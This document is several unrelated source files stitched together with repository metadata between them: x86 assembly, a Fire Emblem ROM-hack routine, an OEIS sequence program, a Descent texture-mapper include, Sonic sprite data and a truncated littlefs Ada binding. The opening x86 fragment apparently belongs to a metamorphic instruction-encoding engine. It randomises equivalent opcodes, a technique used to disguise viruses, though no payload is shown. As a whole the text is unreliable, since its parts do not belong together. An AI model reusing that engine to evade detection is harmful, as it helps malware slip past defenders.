@@Assemble_OPRegImm_Normal_01: mov [edi], eax mov eax, [esi+1] and eax, 7 add eax, 0C0h add eax, ebx mov [edi+1], eax mov eax, [esi+7] mov [edi+2], eax add edi, 6 ret @@Assemble_OPRegReg: cmp ebx, 38h jbe @@Assemble_OPRegReg_Normal cmp ebx, 40h jz @@Assemble_MOVRegReg @@Assemble_TESTRegReg: mov ebx, 85h @@Assemble_TEST8RegReg_00: call Random and eax, 1 jz @@Assemble_OPRegReg_NextFF jmp @@Assemble_OPRegReg_Inversed_2 @@Assemble_MOVRegReg: mov ebx, 88h @@Assemble_OPRegReg_Normal: add ebx, 1 @@Assemble_OP8RegReg_Normal: call Random and eax, 1 jz @@Assemble_OPRegReg_Inversed @@Assemble_OPRegReg_NextFF: mov ecx, [esi+1] mov edx, [esi+7] jmp @@Assemble_OPRegReg_Next00 @@Assemble_OPRegReg_Inversed: add ebx, 2 @@Assemble_OPRegReg_Inversed_2: mov ecx, [esi+7] mov edx, [esi+1] @@Assemble_OPRegReg_Next00: mov [edi], ebx mov eax, ecx shl eax, 3 add eax, 0C0h add eax, edx mov [edi+1], eax add edi, 2 ret @@Assemble_OPRegMem: cmp ebx, 38h jbe @@Assemble_OPRegMem_Normal cmp ebx, 40h jz @@Assemble_MOVRegMem @@Assemble_TESTRegMem: mov ebx, 85h jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_MOVRegMem: mov ebx, 88h @@Assemble_OPRegMem_Normal: add ebx, 3 @@Assemble_OPRegMem_Normal_00: mov [edi], ebx add edi, 1 mov ebx, [esi+7] and ebx, 7 shl ebx, 3 call Asm_MakeMemoryAddress ret @@Assemble_OPMemReg: cmp ebx, 38h jbe @@Assemble_OPMemReg_Normal cmp ebx, 40h jnz @@Assemble_TESTRegMem @@Assemble_MOVMemReg: mov ebx, 88h @@Assemble_OPMemReg_Normal: add ebx, 1 jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_INCDECReg: call Random and eax, 1 jz @@Assemble_INCDECReg_2 @@Assemble_INCDECReg_1: mov eax, [esi+7] add eax, 40h @@Assemble_INCDECReg_Common: add eax, [esi+1] mov [edi], eax add edi, 1 ret @@Assemble_INCDECReg_2: mov eax, 0FFh @@Assemble_INCDECReg_2_8b: mov [edi], eax add edi, 1 mov eax, [esi+7] add eax, 0C0h jmp @@Assemble_INCDECReg_Common @@Assemble_INCDECReg_8b: mov eax, 0FEh jmp @@Assemble_INCDECReg_2_8b @@Assemble_INCDECMem: mov eax, 0FFh @@Assemble_INCDECMem_2_8b: mov [edi], eax add edi, 1 mov ebx, [esi+7] call Asm_MakeMemoryAddress ret @@Assemble_INCDECMem_8b: mov eax, 0FEh jmp @@Assemble_INCDECMem_2_8b @@Assemble_Next00: cmp eax, 4Eh jz @@Assemble_INCDECReg cmp eax, 4Eh+80h jz @@Assemble_INCDECReg_8b cmp eax, 4Fh jz @@Assemble_INCDECMem cmp eax, 4Fh+80h jz @@Assemble_INCDECMem_8b @@Assemble_Next00_: cmp eax, 00h+80h jb @@Assemble_Next01 cmp eax, 4Ch+80h ja @@Assemble_Next01 mov ebx, eax and ebx, 78h and eax, 7 or eax, eax jz @@Assemble_OP8RegImm cmp eax, 1 jz @@Assemble_OP8RegReg cmp eax, 2 jz @@Assemble_OP8RegMem cmp eax, 3 jz @@Assemble_OP8MemReg @@Assemble_OP8MemImm: cmp ebx, 38h jbe @@Assemble_OP8MemImm_Normal cmp ebx, 40h jz @@Assemble_MOV8MemImm @@Assemble_TEST8MemImm: xor ebx, ebx mov eax, 0F6h call @@Assemble_OPMemImm_Normal_00 sub edi, 3 ret @@Assemble_MOV8MemImm: xor ebx, ebx mov eax, 0C6h call @@Assemble_OPMemImm_Normal_00 sub edi, 3 ret @@Assemble_OP8MemImm_Normal: call Random and eax, 2 add eax, 80h call @@Assemble_OPMemImm_Normal_00 sub edi, 3 ret @@Assemble_OP8RegImm: cmp ebx, 38h jbe @@Assemble_OP8RegImm_Normal cmp ebx, 40h jz @@Assemble_MOV8RegImm @@Assemble_TEST8RegImm: mov eax, [esi+1] and eax, 7 or eax, eax jnz @@Assemble_TEST8RegImm_NotEAX call Random and eax, 1 jz @@Assemble_TEST8RegImm_NotEAX mov eax, 0A8h call @@Assemble_OPRegImm_OneByteOpcode sub edi, 3 ret @@Assemble_TEST8RegImm_NotEAX: mov eax, 0F6h xor ebx, ebx call @@Assemble_OPRegImm_Normal_01 sub edi, 3 ret @@Assemble_MOV8RegImm: call Random and eax, 1 jz @@Assemble_MOV8RegImm_OneByteOpcode mov eax, 0C6h xor ebx, ebx call @@Assemble_OPRegImm_Normal_01 sub edi, 3 ret @@Assemble_MOV8RegImm_OneByteOpcode: mov eax, [esi+1] add eax, 0B0h call @@Assemble_OPRegImm_OneByteOpcode sub edi, 3 ret @@Assemble_OP8RegImm_Normal: mov eax, [esi+1] and eax, 7 or eax, eax jnz @@Assemble_OP8RegImm_Normal_00 call Random and eax, 1 jz @@Assemble_OP8RegImm_Normal_00 mov eax, ebx add eax, 4 call @@Assemble_OPRegImm_OneByteOpcode sub edi, 3 ret @@Assemble_OP8RegImm_Normal_00: call Random and eax, 2 add eax, 80h call @@Assemble_OPRegImm_Normal_01 sub edi, 3 ret @@Assemble_OP8RegReg: cmp ebx, 38h jbe @@Assemble_OP8RegReg_Normal cmp ebx, 40h jz @@Assemble_MOV8RegReg @@Assemble_TEST8RegReg: mov ebx, 84h jmp @@Assemble_TEST8RegReg_00 @@Assemble_MOV8RegReg: mov ebx, 88h jmp @@Assemble_OP8RegReg_Normal @@Assemble_OP8RegMem: cmp ebx, 38h jbe @@Assemble_OP8RegMem_Normal cmp ebx, 40h jz @@Assemble_MOV8RegMem @@Assemble_TEST8RegMem: mov ebx, 84h jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_MOV8RegMem: mov ebx, 88h @@Assemble_OP8RegMem_Normal: add ebx, 2 jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_OP8MemReg: cmp ebx, 38h jbe @@Assemble_OPRegMem_Normal_00 cmp ebx, 40h jnz @@Assemble_TEST8RegMem @@Assemble_MOV8MemReg: mov ebx, 88h jmp @@Assemble_OPRegMem_Normal_00 @@Assemble_Next01: cmp eax, 50h jnz @@Assemble_Next02 call Random and eax, 1 jz @@Assemble_PUSHReg_2 @@Assemble_PUSHReg_1: mov eax, [esi] and eax, 0FFh mov ebx, [esi+1] add eax, ebx @@Assemble_StoreByte: mov [edi], eax add edi, 1 ret @@Assemble_PUSHReg_2: mov eax, 0FFh mov [edi], eax mov eax, [esi+1] add eax, 0F0h mov [edi+1], eax add edi, 2 ret @@Assemble_Next02: cmp eax, 58h jnz @@Assemble_Next03 call Random and eax, 1 jz @@Assemble_PUSHReg_1 @@Assemble_POPReg_2: mov eax, 8Fh mov [edi], eax mov eax, [esi+1] add eax, 0C0h mov [edi+1], eax add edi, 2 ret @@Assemble_Next03: cmp eax, 51h jnz @@Assemble_Next04 mov eax, 0FFh mov ebx, 30h @@Assemble_POPMem: mov [edi], eax add edi, 1 call Asm_MakeMemoryAddress ret @@Assemble_Next04: cmp eax, 59h jnz @@Assemble_Next05 mov eax, 8Fh xor ebx, ebx jmp @@Assemble_POPMem @@Assemble_Next05: cmp eax, 68h jnz @@Assemble_Next06 mov [edi], eax mov eax, [esi+7] cmp eax, 7Fh jbe @@Assemble_PUSHImm_Byte cmp eax, 0FFFFFF80h jae @@Assemble_PUSHImm_Byte @@Assemble_PUSHImm_Dword: mov [edi+1], eax add edi, 5 ret @@Assemble_PUSHImm_Byte: push eax call Random and eax, 1 pop eax or ebx, ebx jz @@Assemble_PUSHImm_Dword mov ebx, 6Ah mov [edi], ebx mov [edi+1], eax add edi, 2 ret @@Assemble_Next06: cmp eax, 0E0h jnz @@Assemble_Next07 mov ebx, 0D0h @@Assemble_NEG32Reg: mov eax, 0F7h @@Assemble_Nxx8Reg: mov [edi], eax mov eax, [esi+1] add eax, ebx mov [edi+1], eax add edi, 2 ret @@Assemble_Next07: cmp eax, 0E4h jnz @@Assemble_Next08 mov ebx, 0D8h jmp @@Assemble_NEG32Reg @@Assemble_Next08: cmp eax, 0E2h jnz @@Assemble_Next09 mov ebx, 0D0h @@Assemble_NEG8Reg: mov eax, 0F6h jmp @@Assemble_Nxx8Reg @@Assemble_Next09: cmp eax, 0E6h jnz @@Assemble_Next10 mov ebx, 0D8h jmp @@Assemble_NEG8Reg @@Assemble_Next10: cmp eax, 0E1h jnz @@Assemble_Next11 mov ebx, 10h @@Assemble_NEG32Mem: mov eax, 0F7h @@Assemble_Nxx8Mem: mov [edi], eax add edi, 1 call Asm_MakeMemoryAddress ret @@Assemble_Next11: cmp eax, 0E5h jnz @@Assemble_Next12 mov ebx, 18h jmp @@Assemble_NEG32Mem @@Assemble_Next12: cmp eax, 0E3h jnz @@Assemble_Next13 mov ebx, 10h @@Assemble_NEG8Mem: mov eax, 0F6h jmp @@Assemble_Nxx8Mem @@Assemble_Next13: cmp eax, 0E7h jnz @@Assemble_Next14 mov ebx, 18h jmp @@Assemble_NEG8Mem @@Assemble_Next14: cmp eax, 0EAh jnz @@Assemble_Next15 mov eax, 0FFh mov ebx, 10h jmp @@Assemble_Nxx8Mem @@Assemble_Next15: cmp eax, 0EBh jnz @@Assemble_Next16 mov eax, 0FFh mov ebx, 20h jmp @@Assemble_Nxx8Mem @@Assemble_Next16: cmp eax, 0ECh jnz @@Assemble_Next17 mov eax, 0FFh mov ebx, 0D0h jmp @@Assemble_Nxx8Reg @@Assemble_Next17: cmp eax, 0EDh jnz @@Assemble_Next18 mov eax, 0FFh mov ebx, 0E0h jmp @@Assemble_Nxx8Reg @@Assemble_Next18: cmp eax, 0F0h jnz @@Assemble_Next19 mov eax, [esi+7] and eax, 0FFh cmp eax, 1 jz @@Assemble_SHIFT_1 @@Assemble_SHIFT_2: mov ecx, 0C1h mov edx, 0E0h @@Assemble_SHIFT8_1_00: call @@Assemble_SHIFT_x mov ebx, [esi+7] and ebx, 0FFh call Random and eax, edx add eax, ebx mov [edi], eax add edi, 1 ret @@Assemble_SHIFT_1: call Random and eax, 1 jz @@Assemble_SHIFT_2 mov ecx, 0D1h @@Assemble_SHIFT_x: mov [edi], ecx add edi, 1 mov ebx, [esi+8] and ebx, 8 add ebx, 0C0h call Random and eax, 20h add ebx, eax mov eax, [esi+1] and eax, 7 add eax, ebx mov [edi], eax add edi, 1 ret @@Assemble_Next19: cmp eax, 0F2h jnz @@Assemble_Next20 mov eax, [esi+7] and eax, 0FFh cmp eax, 1 jz @@Assemble_SHIFT8_1 @@Assemble_SHIFT8_2: mov ecx, 0C0h xor edx, edx jmp @@Assemble_SHIFT8_1_00 @@Assemble_SHIFT8_1: call Random and eax, 1 jz @@Assemble_SHIFT8_2 mov ecx, 0D0h jmp @@Assemble_SHIFT_x @@Assemble_Next20: cmp eax, 0F1h jnz @@Assemble_Next21 mov eax, [esi+7] and eax, 0FFh cmp eax, 1 jz @@Assemble_SHIFTMem_1 @@Assemble_SHIFTMem_2: mov ecx, 0C1h mov edx, 0E0h @@Assemble_SHIFT8Mem_1_00: push edx call @@Assemble_SHIFTMem_x pop edx mov ebx, [esi+7] and ebx, 0FFh call Random and eax, edx add eax, ebx mov [edi], eax add edi, 1 ret @@Assemble_SHIFTMem_1: call Random or eax, eax jz @@Assemble_SHIFTMem_2 mov ecx, 0D1h @@Assemble_SHIFTMem_x: mov [edi], ecx add edi, 1 mov ebx, [esi+8] and ebx, 8 call Random and eax, 20h add ebx, eax call Asm_MakeMemoryAddress ret @@Assemble_Next21: cmp eax, 0F3h jnz @@Assemble_Next22 mov eax, [esi+7] and eax, 0FFh cmp eax, 1 jz @@Assemble_SHIFT8Mem_1 @@Assemble_SHIFT8Mem_2: mov ecx, 0C0h xor edx, edx jmp @@Assemble_SHIFT8Mem_1_00 @@Assemble_SHIFT8Mem_1: call Random and eax, 1 jz @@Assemble_SHIFT8Mem_2 mov ecx, 0D0h jmp @@Assemble_SHIFTMem_x @@Assemble_Next22: cmp eax, 0FCh jnz @@Assemble_Next23 mov eax, 8Dh mov [edi], eax add edi, 1 mov ebx, [esi+7] and ebx, 7 shl ebx, 3 call Asm_MakeMemoryAddress ret @@Assemble_Next23: cmp eax, 0FDh jnz @@Assemble_Next24 mov eax, [esi+1] jmp @@Assemble_StoreByte @@Assemble_Next24: cmp eax, 0FEh jnz @@Assemble_Next25 mov eax, 0C3h jmp @@Assemble_StoreByte @@Assemble_Next25: cmp eax, 0FFh jnz @@Assemble_Next26 mov eax, 90h jmp @@Assemble_StoreByte @@Assemble_Next26: cmp eax, 70h jb @@Assemble_Next27 cmp eax, 7Fh ja @@Assemble_Next27 mov eax, [esi+7] or eax, eax jz @@Assemble_Jump_Normal mov eax, [esi] xor eax, 1 mov [edi], eax add edi, 1 push edi add edi, 1 mov eax, 0E9h mov [esi], al call @@Assemble_Jump_Normal pop ebx mov eax, edi sub eax, ebx sub eax, 1 mov [ebx], al ret @@Assemble_Next27: cmp eax, 0F8h jnz @@Assemble_Next28 mov eax, 0B60Fh mov [edi], eax add edi, 2 mov ebx, [esi+7] and ebx, 7 shl ebx, 3 call Asm_MakeMemoryAddress ret @@Assemble_Next28: @@Assemble_Jump_Normal: mov ebx, [esi+1] mov eax, [ebx+4] cmp eax, esi jb @@Assemble_Jump_Backwards @@Assemble_Jump_Fowards: mov ebx, eax sub ebx, esi cmp ebx, 0B0h jbe @@Assemble_JmpFwd_Short @@Assemble_JmpFwd_Long_Set00: mov eax, [esi] and eax, 0FFh cmp eax, 7Fh jbe @@Assemble_JmpFwd_Long_Jcc @@Assemble_JmpFwd_Long_Set: mov [edi], eax call Asm_AddToRelocTable add edi, 5 ret @@Assemble_JmpFwd_Long_Jcc: mov eax, 0Fh mov [edi], eax add edi, 1 mov eax, [esi] add eax, 10h jmp @@Assemble_JmpFwd_Long_Set @@Assemble_JmpFwd_Short: call Random and eax, 4 or eax, eax jz @@Assemble_JmpFwd_Long_Set00 mov eax, [esi] and eax, 0FFh cmp eax, 0E8h jz @@Assemble_JmpFwd_Long_Set cmp eax, 0E9h jz @@Assemble_JmpFwd_Short_JMP @@Assemble_JmpFwd_Short_Set: mov [edi], eax call Asm_AddToRelocTable add edi, 2 ret @@Assemble_JmpFwd_Short_JMP: add eax, 2 jmp @@Assemble_JmpFwd_Short_Set @@Assemble_Jump_Backwards: mov ebx, [eax+0Ch] sub ebx, edi sub ebx, 2 cmp ebx, 0FFFFFF80h jb @@Assemble_Jump_Backwards_Long mov eax, [esi] cmp al, 0E8h jz @@Assemble_Jump_Backwards_Long call Random and eax, 7 or eax, eax jz @@Assemble_Jump_Backwards_Long mov eax, [esi] cmp al, 0E9h jnz @@Assemble_Jump_StoreOpcode_Short add eax, 2 @@Assemble_Jump_StoreOpcode_Short: mov [edi], eax add edi, 1 mov [edi], ebx add edi, 1 ret @@Assemble_Jump_Backwards_Long: mov eax, [esi] cmp al, 0E9h jz @@Assemble_Jump_Backwards_JMP cmp al, 0E8h jz @@Assemble_Jump_Backwards_JMP sub ebx, 4 mov eax, 0Fh mov [edi], eax add edi, 1 mov eax, [esi] add eax, 10h @@Assemble_Jump_Backwards_Long_Common: mov [edi], eax add edi, 1 mov [edi], ebx add edi, 4 ret @@Assemble_Jump_Backwards_JMP: sub ebx, 3 jmp @@Assemble_Jump_Backwards_Long_Common ret AssembleInstruction endp EndOfCode label dword end PreMain (c) Neurobasher/Germany, somewhere on April 2003
Engine Hacks/Strmag/Strmag/ASM/LoadMoreUnitData.asm
sme23/Christmas2
3
26997
<reponame>sme23/Christmas2 .thumb .org 0x00 .macro blh to, reg=r3 ldr \reg, =\to mov lr, \reg .short 0xF800 .endm Init: ldr r5, =0x30067A0 Player: mov r0, #0x48 mov r2, #51 mul r2, r0 @Size of Copy ldr r0, =0x1F78 @Dest add r0, r6, r0 ldr r1, =0x202BE4C @Player Unit Pool ldr r3, [r5] @ LoadFromSRAM bl BXR3 Enemy: mov r0, #0x48 mov r2, #50 mul r2, r0 @Size of Copy ldr r0, =0x1F78+(51*0x48) @Dest add r0, r6, r0 ldr r1, =0x202CFBC @Enemy Unit Pool ldr r3, [r5] @ LoadFromSRAM bl BXR3 NPC: mov r0, #0x48 mov r2, #10 mul r2, r0 @Size of Copy ldr r0, =0x1F78+(51*0x48)+(50*0x48) @Dest add r0, r6, r0 ldr r1, =0x202DDCC @NPC Unit Pool ldr r3, [r5] @ LoadFromSRAM bl BXR3 ldr r3, =0x80A5CB1 BXR3: bx r3 .pool
programs/oeis/213/A213749.asm
neoneye/loda
22
96063
; A213749: Antidiagonal sums of the convolution array A213747. ; 1,9,46,180,603,1827,5164,13878,35905,90189,221274,532584,1261687,2949255,6815896,15597738,35389629,79691985,178258150,396361980,876609811,1929380139,4227858756,9227469150,20065550713,43486544277,93952410034,202400334288,434865439215,932007903759,1992864825904,4252017623634,9053791060597,19241453486745,40819369181886,86449101734628,182793808118539,385928581350195,813638604555100,1713039116075910,3602000092595121,7564639999099869,15868151812064266,33249231623947320,69594687991710823,145522562959410327,303992974847509704,634444597505819898,1322932390540084525,2756202971950744929,5737585925270013334,11934539012531815884,24805826747556693507,51521179737118475835,106933469552285058676,221793274448742188718,459727449961980233449,952313162805255604005,1971495772877708330850,4079036283299024603040,8434773727703692478431,17432173149655526279199,36008044431881044756576,74340378617049493014690,153403123716968631240933,316398554352266229319977,652276870446369745144174,1344103560186772768950708,2768487350582329506531835,5699896344823661772933699,11730358343448198710823564,24131292727463887041989334,49622627001994231905520417,102003116029984336615836525,209597513975686333164686266,430528707510259814842240008,884027005593197584003894359,1814597655241558391233973415,3723491524413057858095025400,7637993328325227125793623370,15662842918927135587493219741,32109069768964550880196038129,65804250213263495237606575686,134819407403423445563232751260,276138000013095137569685901043,565429112943597440560174993227,1157473936731830557030681153444,2368798265172575156019474206718,4846535253802263776230071341145,9913423834597325241392186790069,20272506083337387381748058296594,41446232515274531603622679023984,84714712768377142971896868901327,173113535093667577641893531488815,353674517463676003017580194304656,722402385805062230177933739168498,1475228386015601965991788355261269,3011937826142273057956166815978425,6148105411106912597259010546078750,12547205641059014616014368326816900 mov $1,$0 add $0,2 seq $1,45618 ; Partial sums of A000337(n+4), n >= 0. mul $0,$1 div $0,2
texmap/tmap_inc.asm
arbruijn/d1dos
2
88107
<gh_stars>1-10 ;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS ;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE ;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE ;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS ;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE. ;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED. ; ; $Source: f:/miner/source/texmap/rcs/tmap_inc.asm $ ; $Revision: 1.10 $ ; $Author: john $ ; $Date: 1995/02/20 18:22:52 $ ; ; Mike's include file for the texture mapper library. ; ; $Log: tmap_inc.asm $ ; Revision 1.10 1995/02/20 18:22:52 john ; Put all the externs in the assembly modules into tmap_inc.asm. ; Also, moved all the C versions of the inner loops into a new module, ; scanline.c. ; ; Revision 1.9 1994/12/02 23:29:45 mike ; Add y_pointers. ; ; Revision 1.8 1994/11/12 16:39:36 mike ; jae to ja. ; ; Revision 1.7 1994/10/26 23:27:39 john ; Took out references to gr_inverse_table. ; ; Revision 1.6 1994/10/26 23:21:55 mike ; kill unused stuff. ; ; Revision 1.5 1994/07/27 18:39:20 john ; Took out references to blend table ; ; Revision 1.4 1994/01/31 15:40:17 mike ; Add window_height. ; ; Revision 1.3 1993/12/07 12:27:48 john ; Moved bmd_palette to gr_palette ; ; Revision 1.2 1993/11/22 10:24:10 mike ; *** empty log message *** ; ; Revision 1.1 1993/09/08 17:29:47 mike ; Initial revision ; ; ; ; VESA in this file must be the same as VESA in tmap.h VESA equ 0 direct_to_video equ 0 if VESA ; for vesa mode WINDOW_LEFT = 0 WINDOW_RIGHT = 300 WINDOW_TOP = 0 WINDOW_BOTTOM = 200 WINDOW_WIDTH = WINDOW_RIGHT - WINDOW_LEFT BYTES_PER_ROW = 300*2 else ; for non-vesa mode WINDOW_LEFT = 58 WINDOW_RIGHT = 262 WINDOW_TOP = 34 WINDOW_BOTTOM = 167 WINDOW_WIDTH = WINDOW_RIGHT - WINDOW_LEFT BYTES_PER_ROW = 320 ; number of bytes between rows endif ; for vesa, 15 bit color, 640x480x2 SCREEN_WIDTH = 640 SCREEN_HEIGHT = 480 BYTES_PER_PIXEL = 2 extrn _gr_fade_table:byte ;NO_INVERSE_TABLE extrn _gr_inverse_table:byte extrn _write_buffer:dword extrn _window_left:dword,_window_right:dword,_window_top:dword,_window_bottom:dword,_window_width:dword,_bytes_per_row:dword,_window_height:dword extrn _y_pointers:dword _lighting_tables equ _gr_fade_table ;NO_INVERSE_TABLE _rgb_to_palette equ _gr_inverse_table write_buffer equ _write_buffer ;NO_INVERSE_TABLE _pixel_average equ _gr_inverse_table ; should be blend table, but i took it out -john max_window_width equ 320 num_iters = max_window_width if num_iters and 1 num_iters = num_iters + 1 endif extern _per2_flag:dword extern _tmap_flat_cthru_table:dword extern _tmap_flat_color:byte extern _tmap_flat_shade_value:byte extern _dither_intensity_lighting:dword extern _Lighting_on:dword extern _pixel_data_selector:word, _gr_fade_table_selector:word, _transparency_on:dword extern _fx_u:dword extern _fx_v:dword extern _fx_z:dword extern _fx_l:dword extern _fx_du_dx:dword extern _fx_dv_dx:dword extern _fx_dz_dx:dword extern _fx_dl_dx:dword extern _fx_y:dword extern _fx_xleft:dword extern _fx_xright:dword extern _pixptr:dword
Working Disassembly/Levels/Pachinko/Misc Object Data/Map - Triangle Bumper.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
5
102331
<filename>Working Disassembly/Levels/Pachinko/Misc Object Data/Map - Triangle Bumper.asm dc.w word_49C10-Map_PachinkoTriangleBumper dc.w word_49C12-Map_PachinkoTriangleBumper dc.w word_49C44-Map_PachinkoTriangleBumper word_49C10: dc.w 0 ; DATA XREF: ROM:00049C0Ao word_49C12: dc.w 8 ; DATA XREF: ROM:00049C0Ao dc.b $C6, 6, 0, 0, 0, 3 dc.b $DE, 9, 0, 6, $FF, $FB dc.b $EE, 6, 0, $C, $FF, $F3 dc.b 6, $B, 0, $12, $FF, $EB dc.b $EE, 3, 0, $1E, 0, $B dc.b $E, 2, 0, $22, 0, $B dc.b $26, 9, 0, $25, $FF, $FB dc.b $36, 0, 0, $2B, 0, $B word_49C44: dc.w 4 ; DATA XREF: ROM:00049C0Ao dc.b $E4, 5, 0, $2C, $FF, $FE dc.b $F4, $B, 0, $30, $FF, $F6 dc.b $14, 9, 0, $3C, $FF, $F6 dc.b $24, 4, 0, $42, $FF, $FE
src/littlefs.ads
Fabien-Chouteau/littlefs-ada
1
1423
with Interfaces; with Interfaces.C; use Interfaces.C; with Interfaces.C.Extensions; with System; package Littlefs is VERSION : constant := 16#00020003#; -- Software library version -- Major (top-nibble), incremented on backwards incompatible changes -- Minor (bottom-nibble), incremented on feature additions DISK_VERSION : constant := 16#00020000#; -- Version of On-disk data structures -- Major (top-nibble), incremented on backwards incompatible changes -- Minor (bottom-nibble), incremented on feature additions LFS_NAME_MAX : constant := 255; -- Maximum name size in bytes, may be redefined to reduce the size of -- the info struct. Limited to <= 1022. Stored in superblock and must -- be respected by other littlefs drivers. LFS_FILE_MAX : constant := 2147483647; -- Maximum size of a file in bytes, may be redefined to limit to support -- other drivers. Limited on disk to <= 4294967296. However, above -- 2147483647 the functions lfs_file_seek, lfs_file_size, and lfs_file_tell -- will return incorrect values due to using signed integers. Stored in -- superblock and must be respected by other littlefs drivers. LFS_ATTR_MAX : constant := 1022; -- Maximum size of custom attributes in bytes, may be redefined, but there -- is no real benefit to using a smaller LFS_ATTR_MAX. Limited to <= 1022. -- Possible error codes, these are negative to allow valid positive return -- values -- Type definitions subtype LFS_Size is Interfaces.Unsigned_32; subtype LFS_Offset is Interfaces.Unsigned_32; subtype LFS_Signed_Size is Interfaces.Integer_32; subtype LFS_Signed_Offset is Interfaces.Integer_32; subtype LFS_Block is Interfaces.Unsigned_32; pragma Style_Checks (Off); subtype LFS_Error is Interfaces.C.int; LFS_ERR_OK : constant LFS_Error := 0; -- No error LFS_ERR_IO : constant LFS_Error := -5; -- Error during device operation LFS_ERR_CORRUPT : constant LFS_Error := -84; -- Corrupted LFS_ERR_NOENT : constant LFS_Error := -2; -- No directory entry LFS_ERR_EXIST : constant LFS_Error := -17; -- Entry already exists LFS_ERR_NOTDIR : constant LFS_Error := -20; -- Entry is not a dir LFS_ERR_ISDIR : constant LFS_Error := -21; -- Entry is a dir LFS_ERR_NOTEMPTY : constant LFS_Error := -39; -- Dir is not empty LFS_ERR_BADF : constant LFS_Error := -9; -- Bad file number LFS_ERR_FBIG : constant LFS_Error := -27; -- File too large LFS_ERR_INVAL : constant LFS_Error := -22; -- Invalid parameter LFS_ERR_NOSPC : constant LFS_Error := -28; -- No space left on device LFS_ERR_NOMEM : constant LFS_Error := -12; -- No more memory available LFS_ERR_NOATTR : constant LFS_Error := -61; -- No data/attr available LFS_ERR_NAMETOOLONG : constant LFS_Error := -36; -- File name too long subtype LFS_Open_Flags is Interfaces.C.unsigned; LFS_O_RDONLY : constant LFS_Open_Flags := 16#000001#; -- Open a file as read only LFS_O_WRONLY : constant LFS_Open_Flags := 16#000002#; -- Open a file as write only LFS_O_RDWR : constant LFS_Open_Flags := 16#000003#; -- Open a file as read and write LFS_O_CREAT : constant LFS_Open_Flags := 16#000100#; -- Create a file if it does not exist LFS_O_EXCL : constant LFS_Open_Flags := 16#000200#; -- Fail if a file already exists LFS_O_TRUNC : constant LFS_Open_Flags := 16#000400#; -- Truncate the existing file to zero size LFS_O_APPEND : constant LFS_Open_Flags := 16#000800#; -- Move to end of file on every write pragma Style_Checks (On); type LFS_Whence_Flags is (LFS_SEEK_SET, -- Seek relative to an absolute position LFS_SEEK_CUR, -- Seek relative to the current file position LFS_SEEK_END) -- Seek relative to the end of the file with Convention => C; -- File info structure -- type Entry_Info is private; type File_Kind is (Register, Directory); function Kind (Info : Entry_Info) return File_Kind; -- Type of the file, either LFS_TYPE_REG or LFS_TYPE_DIR function Size (Info : Entry_Info) return LFS_Size; -- Size of the file, only valid for REG files. Limited to 32-bits. function Name (Info : Entry_Info) return String; -- Name of the file. Limited to LFS_NAME_MAX, which can be changed by -- redefining LFS_NAME_MAX to reduce RAM. LFS_NAME_MAX is stored in -- superblock and must be respected by other littlefs drivers. -- Custom attribute structure, used to describe custom attributes -- committed atomically during file writes. type lfs_attr is record Id : aliased Interfaces.Unsigned_8; -- 8-bit type of attribute, provided by user and used to identify the -- attribute Buffer : System.Address; -- Pointer to buffer containing the attribute Size : aliased LFS_Size; -- Size of attribute in bytes, limited to LFS_ATTR_MAX end record with Convention => C_Pass_By_Copy; -- Optional configuration provided during Opencfg type lfs_file_config is record Buffer : System.Address; -- Optional statically allocated file buffer. Must be cache_size. -- By default lfs_malloc is used to allocate this buffer. Attrs : access lfs_attr; -- Optional list of custom attributes related to the file. If the file -- is opened with read access, these attributes will be read from disk -- during the open call. If the file is opened with write access, the -- attributes will be written to disk every file sync or close. This -- write occurs atomically with update to the file's contents. Custom -- attributes are uniquely identified by an 8-bit type and limited to -- LFS_ATTR_MAX bytes. When read, if the stored attribute is smaller -- than the buffer, it will be padded with zeros. If the stored -- attribute is larger, then it will be silently truncated. If the -- attribute is not found, it will be created implicitly. Attr_Count : aliased LFS_Size; -- Number of custom attributes in the list end record with Convention => C_Pass_By_Copy; type LFS_T is private; type LFS_File is private; type LFS_Dir is private; type LFS_Config; -------------------------- -- Filesystem functions -- -------------------------- function Format (LFS : aliased in out LFS_T; Config : aliased LFS_Config) return int; -- Format a block device with the littlefs -- -- Requires a littlefs object and config struct. This clobbers the littlefs -- object, and does not leave the filesystem mounted. The config struct -- must be zeroed for defaults and backwards compatibility. -- -- Returns a negative error code on failure. function Mount (LFS : aliased in out LFS_T; Config : aliased LFS_Config) return int; -- Mounts a littlefs -- -- Requires a littlefs object and config struct. Multiple filesystems may -- be mounted simultaneously with multiple littlefs objects. Both lfs and -- config must be allocated while mounted. The config struct must be zeroed -- for defaults and backwards compatibility. -- -- Returns a negative error code on failure. function Unmount (LFS : aliased in out LFS_T) return int; -- Unmounts a littlefs -- -- Does nothing besides releasing any allocated resources. -- -- Returns a negative error code on failure. ------------------------ -- General operations -- ------------------------ function Remove (LFS : aliased in out LFS_T; Path : String) return int; -- Removes a file or directory -- -- If removing a directory, the directory must be empty. -- -- Returns a negative error code on failure. function Rename (LFS : aliased in out LFS_T; Oldpath : String; Newpath : String) return int; -- Rename or move a file or directory -- -- If the destination exists, it must match the source in type. -- If the destination is a directory, the directory must be empty. -- -- Returns a negative error code on failure. function Stat (LFS : aliased in out LFS_T; Path : String; Info : aliased out Entry_Info) return int; -- Find info about a file or directory -- -- Fills out the info structure, based on the specified file or directory. -- -- Returns a negative error code on failure. function Getattr (LFS : aliased in out LFS_T; Path : String; Id : Interfaces.Unsigned_8; Buffer : System.Address; Size : LFS_Size) return LFS_Signed_Size; -- Get a 